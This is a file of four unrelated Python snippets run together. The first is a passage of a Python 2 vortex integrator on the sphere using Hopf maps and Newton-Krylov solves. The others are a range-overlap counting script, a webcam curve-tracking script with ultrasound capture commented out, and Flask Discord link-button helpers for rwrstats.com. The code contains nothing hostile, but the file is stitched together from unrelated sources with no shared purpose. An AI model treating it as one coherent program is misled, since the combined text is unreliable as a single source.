        a = self.half_time*b
        U = cayley_klein(a)
        psi1 = apply_2by2(U, psi0)
        x1 = hopf(psi1)

        gradH = scaled_gradient_hamiltonian(self.gamma, (x0+x1)/2.0, self.sigma)
        dot = np.sum(x1*gradH, axis=1)
        mu = -self.half_time/4.0*(
            dot - np.sum(a*np.cross(gradH, x1, axis=1), axis=1))

        return a + 1.0/4*self.half_time*np.cross(
            np.cross(x1, gradH, axis=1) - row_product(dot, a) +
            row_product(mu, gradH), x1, axis=1) - row_product(mu, x1)

    def residue_mu_direct(self, b, psi0, x0):
        """
        Calculate Lie-algebra element with nonvanishing parallel component.

        """
        a = self.half_time*b
        U = cayley_klein(a)
        psi1 = apply_2by2(U, psi0)
        x1 = hopf(psi1)

        gradH = scaled_gradient_hamiltonian(self.gamma, (x0+x1)/2.0, self.sigma)
        dot = np.sum(x0*gradH, axis=1)
        mu = -self.half_time/4.0*(
            dot + np.sum(a * np.cross(gradH, x0, axis=1), axis=1))

        return a + 1.0/4*self.half_time*np.cross(
            np.cross(x0, gradH, axis=1) + row_product(dot, a) -
            row_product(mu, gradH), x0, axis=1) - row_product(mu, x0)

    def integrate(self, X0, tmax = 50.0, numpoints=100, full_output=False):

        num_inner = int(round(tmax/(self.h*numpoints)))
        t = 0

        vortices = np.zeros((numpoints,) + X0.shape)
        times = np.zeros(numpoints)

        psi0 = inverse_hopf(X0)

        if self.verbose:
            print >> sys.stderr, 'Entering integration loop'

        for k in xrange(0, numpoints):
            print >> sys.stderr, '.',
            for _ in xrange(0, num_inner):
                psi0, X0 = self.do_one_step(t, psi0, X0)
                t += 2*self.half_time

            vortices[k, :, :] = X0
            times[k] = t

        print >> sys.stderr, '\n'
        return vortices, times

    def do_one_step(self, t, psi0, x0):

        callback = None
        if self.diagnostics:
            callback = self.diagnostics_logger

        f = lambda y: self.residue_mu_direct(y, psi0, x0)
        self.b = so.newton_krylov(f, self.b, f_tol=1e-14,
                                  callback=callback, verbose=False)
        U = cayley_klein(self.half_time*self.b)
        psi0 = apply_2by2(U, psi0)
        x0 = hopf(psi0)

        self.diagnostics_logger.store()

        f = lambda y: self.residue_mu_adjoint(y, psi0, x0)
        self.b = so.newton_krylov(f, self.b, f_tol=1e-14,
                                  callback=callback, verbose=False)
        U = cayley_klein(self.half_time * self.b)
        psi0 = apply_2by2(U, psi0)
        x0 = hopf(psi0)

        self.diagnostics_logger.store()

        return psi0, x0


#!/usr/bin/env python3
with open("input.txt") as f:
    blob = f.read().split("\n")

    count = 0

    for line in blob:
        pair1 = line.split(",")[0].split('-')
        pair2 = line.split(",")[1].split('-')
        #print("-------------")
        #print("pair1: {pair1:}".format(pair1=pair1))
        #print("pair2: {pair2:}".format(pair2=pair2))
        #print("-------------")

        a = int(pair1[0]) - int(pair2[0])
        b = int(pair1[1]) - int(pair2[1])
        if a == 0 or b == 0 or a / abs(a) != b / abs(b):
            count += 1
        #print("Count: {count:d}".format(count=count))

    print("Count: {count:d}".format(count=count))


import cv2
import numpy as np
from scipy.interpolate import UnivariateSpline
import threading
from sksurgerybk.interface.bk5000 import BK5000

# Setup and connect to BK
timeout = 5
frames_per_second = 25

ip = '128.16.0.3'  # Default IP of BK5000
port = 7915

# # bk = BK5000(timeout=timeout, frames_per_second=frames_per_second)
# # bk.connect_to_host(ip, port)
# bk.query_win_size()
# bk.start_streaming()
#
# # Get a single frame
# bk.get_frame()
#
# # Ultrasound video settings
# ultrasound_output_file = "ultrasound_video.mp4"
# ultrasound_frame_width, ultrasound_frame_height = bk.img.shape[1], bk.img.shape[0]
# ultrasound_fps = 30  # Adjust the frame rate as needed
# ultrasound_video_writer = cv2.VideoWriter(ultrasound_output_file, cv2.VideoWriter_fourcc(*"mp4v"), ultrasound_fps, (ultrasound_frame_width, ultrasound_frame_height))

# Webcam video settings
webcam_output_file = "webcam_video.mp4"
webcam_frame_width, webcam_frame_height = None, None  # To be determined from the first webcam frame
webcam_fps = 30  # Adjust the frame rate as needed
webcam_video_writer = None

# Webcam capture
webcam = cv2.VideoCapture(0, cv2.CAP_DSHOW)  # Change the index if you have multiple webcams connected

# Variables for synchronization
ultrasound_frame_lock = threading.Lock()
webcam_frame_lock = threading.Lock()

# Initialize webcam frame
webcam_frame = None

# Function to get color boundaries
def get_color_boundaries(color):
    # Define color boundaries in HSV color space
    if color == 'blue':
        lower_color = (0, 128, 128)
        upper_color = (120, 255, 255)
    elif color == 'red':  # this is actually red
        lower_color = (0, 128, 64)
        upper_color = (150, 255, 255)
    elif color == 'yellow':
        lower_color = (15, 100, 100)
        upper_color = (35, 255, 255)
    elif color == 'green':  # this is actually green
        lower_color = (35, 50, 50)
        upper_color = (90, 255, 255)
    return lower_color, upper_color

# Function to process the image
def process_image(image, color):
    if image is None:
        return None, None

    hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)
    lower_color, upper_color = get_color_boundaries(color)
    mask = cv2.inRange(hsv, lower_color, upper_color)
    contours, _ = cv2.findContours(mask, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)

    if len(contours) > 0:
        largest_contour = max(contours, key=cv2.contourArea)
        x, y, w, h = cv2.boundingRect(largest_contour)

        x_vals = np.unique(largest_contour[:, :, 0])
        y_values = np.zeros_like(x_vals)
        for i, x_val in enumerate(x_vals):
            y_values[i] = np.max(largest_contour[largest_contour[:, :, 0] == x_val][:, 1])

        smoothing_factor = 0.1
        x_new = np.linspace(x_vals.min(), x_vals.max(), num=1000)
        y_new = np.interp(x_new, x_vals, y_values)
        spline_new = UnivariateSpline(x_new, y_new, k=3, s=smoothing_factor)
        y_new_smooth = spline_new(x_new)

        if np.any(np.diff(y_new_smooth) < -500):
            print('Discontinuous curve detected, applying fix...')
            y_new_smooth_fixed = []
            for i in range(len(x_new)):
                if i == 0:
                    y_new_smooth_fixed.append(y_new_smooth[i])
                else:
                    y_new_smooth_fixed.append(y_new_smooth_fixed[i-1])
            y_new_smooth = np.array(y_new_smooth_fixed)

        return x_new, y_new_smooth
    else:
        return None, None

# Function to downsample the spline curve
def downsample_spline_curve(x_new, y_new_smooth, num_points=10):
    x_range = np.linspace(x_new.min(), x_new.max(), num=len(x_new)*10)
    y_range = np.interp(x_range, x_new, y_new_smooth)
    smoothing_factor = 0.1
    spline_new = UnivariateSpline(x_range, y_range, k=3, s=smoothing_factor)
    y_range_smooth = spline_new(x_range)
    spline_curve = np.column_stack((x_range, y_range_smooth))
    length = len(spline_curve)
    stride = int(np.ceil(length / num_points))
    spline_curve_downsampled = spline_curve[::stride]
    return spline_curve_downsampled

# Function to capture and process ultrasound frames
def capture_ultrasound():
    global bk, ultrasound_frame, ultrasound_video_writer
    while True:
        # Capture a frame from the ultrasound video feed
        bk.get_frame()
        with ultrasound_frame_lock:
            ultrasound_frame = bk.img.copy()
        ultrasound_video_writer.write(ultrasound_frame)

# Function to capture and process webcam frames
def capture_webcam():
    global webcam_frame, webcam_video_writer
    while True:
        # Capture a frame from the webcam video feed
        _, frame = webcam.read()
        if frame is not None:
            # Create the webcam video writer if it hasn't been created yet
            if webcam_video_writer is None:
                webcam_frame_height, webcam_frame_width = frame.shape[:2]
                webcam_video_writer = cv2.VideoWriter(webcam_output_file, cv2.VideoWriter_fourcc(*"mp4v"), webcam_fps, (webcam_frame_width, webcam_frame_height))
            with webcam_frame_lock:
                webcam_frame = frame.copy()
            webcam_video_writer.write(webcam_frame)

# Function to process and display webcam frames
def process_webcam():
    global webcam_frame
    while True:
        with webcam_frame_lock:
            frame = webcam_frame
        if frame is not None:
            x_new, y_new_smooth = process_image(frame, 'green')
            if x_new is not None and y_new_smooth is not None:
                spline_curve_downsampled = downsample_spline_curve(x_new, y_new_smooth)
                processed_frame = frame.copy()
                processed_frame = cv2.cvtColor(processed_frame, cv2.COLOR_BGR2RGB)
                cv2.polylines(processed_frame, [np.int32(spline_curve_downsampled)], False, (255, 0, 0), 2)
                cv2.imshow('Webcam Frame', processed_frame)
            else:
                cv2.imshow('Webcam Frame', frame)
        if cv2.waitKey(1) & 0xFF == ord('q'):
            break
    # Release resources
    webcam.release()
    cv2.destroyAllWindows()

#
# # Start ultrasound capture thread
# ultrasound_thread = threading.Thread(target=capture_ultrasound)
# ultrasound_thread.daemon = True
# ultrasound_thread.start()

# Start webcam capture thread
webcam_thread = threading.Thread(target=capture_webcam)
webcam_thread.daemon = True
webcam_thread.start()

# Start webcam processing thread
webcam_processing_thread = threading.Thread(target=process_webcam)
webcam_processing_thread.daemon = True
webcam_processing_thread.start()

# Create named windows for display
# cv2.namedWindow('Ultrasound Frame', cv2.WINDOW_NORMAL)
cv2.namedWindow('Webcam Frame', cv2.WINDOW_NORMAL)

# while True:
#     # Display ultrasound frame
#     with ultrasound_frame_lock:
#         cv2.imshow('Ultrasound Frame', ultrasound_frame)
#
#     # Exit the loop if the 'q' key is pressed
#     if cv2.waitKey(1) & 0xFF == ord('q'):
#         break
#
# # Release resources
# ultrasound_video_writer.release()
# webcam_video_writer.release()
# webcam.release()
# cv2.destroyAllWindows()


from flask_discord_interactions import ActionRow, Button, ButtonStyles
from flask import url_for

def create_player_components(player, tab=None):
    params = {
        'database': player.database,
        'username': player.username,
    }

    if tab:
        params['tab'] = tab

    return create_single_button_with_link_component(
        url_for('player_details', **params, _external=True)
    )

def create_players_components(database, sort=None, target=None):
    params = {
        'database': database,
    }

    if sort:
        params['sort'] = sort

    if target:
        params['target'] = target

    return create_single_button_with_link_component(
        url_for('players_list', **params, _external=True),
        label='Full list on rwrstats.com'
    )

def create_players_comparison_components(database, source_player, target_player):
    return create_single_button_with_link_component(
        url_for(
            'players_compare',
            database=database,
            username=source_player.username,
            username_to_compare_with=target_player.username,
            _external=True
        )
    )

def create_server_components(server):
    return create_single_button_with_link_component(
        server.link_absolute
    )

def create_servers_components(type, official_only):
    params = {
        'not_empty': 'yes',
        'not_full': 'yes',
    }

    if type:
        params['type'] = type

    if official_only:
        params['official'] = 'yes'

    return create_single_button_with_link_component(
        url_for('servers_list', **params, _external=True),
        label='Full list on rwrstats.com'
    )

def create_single_button_with_link_component(url, label='Show on rwrstats.com'):
    return [
        ActionRow(
            components=[
                Button(
                    style=ButtonStyles.LINK,
                    url=url,
                    label=label
                )
            ]
        )
    ]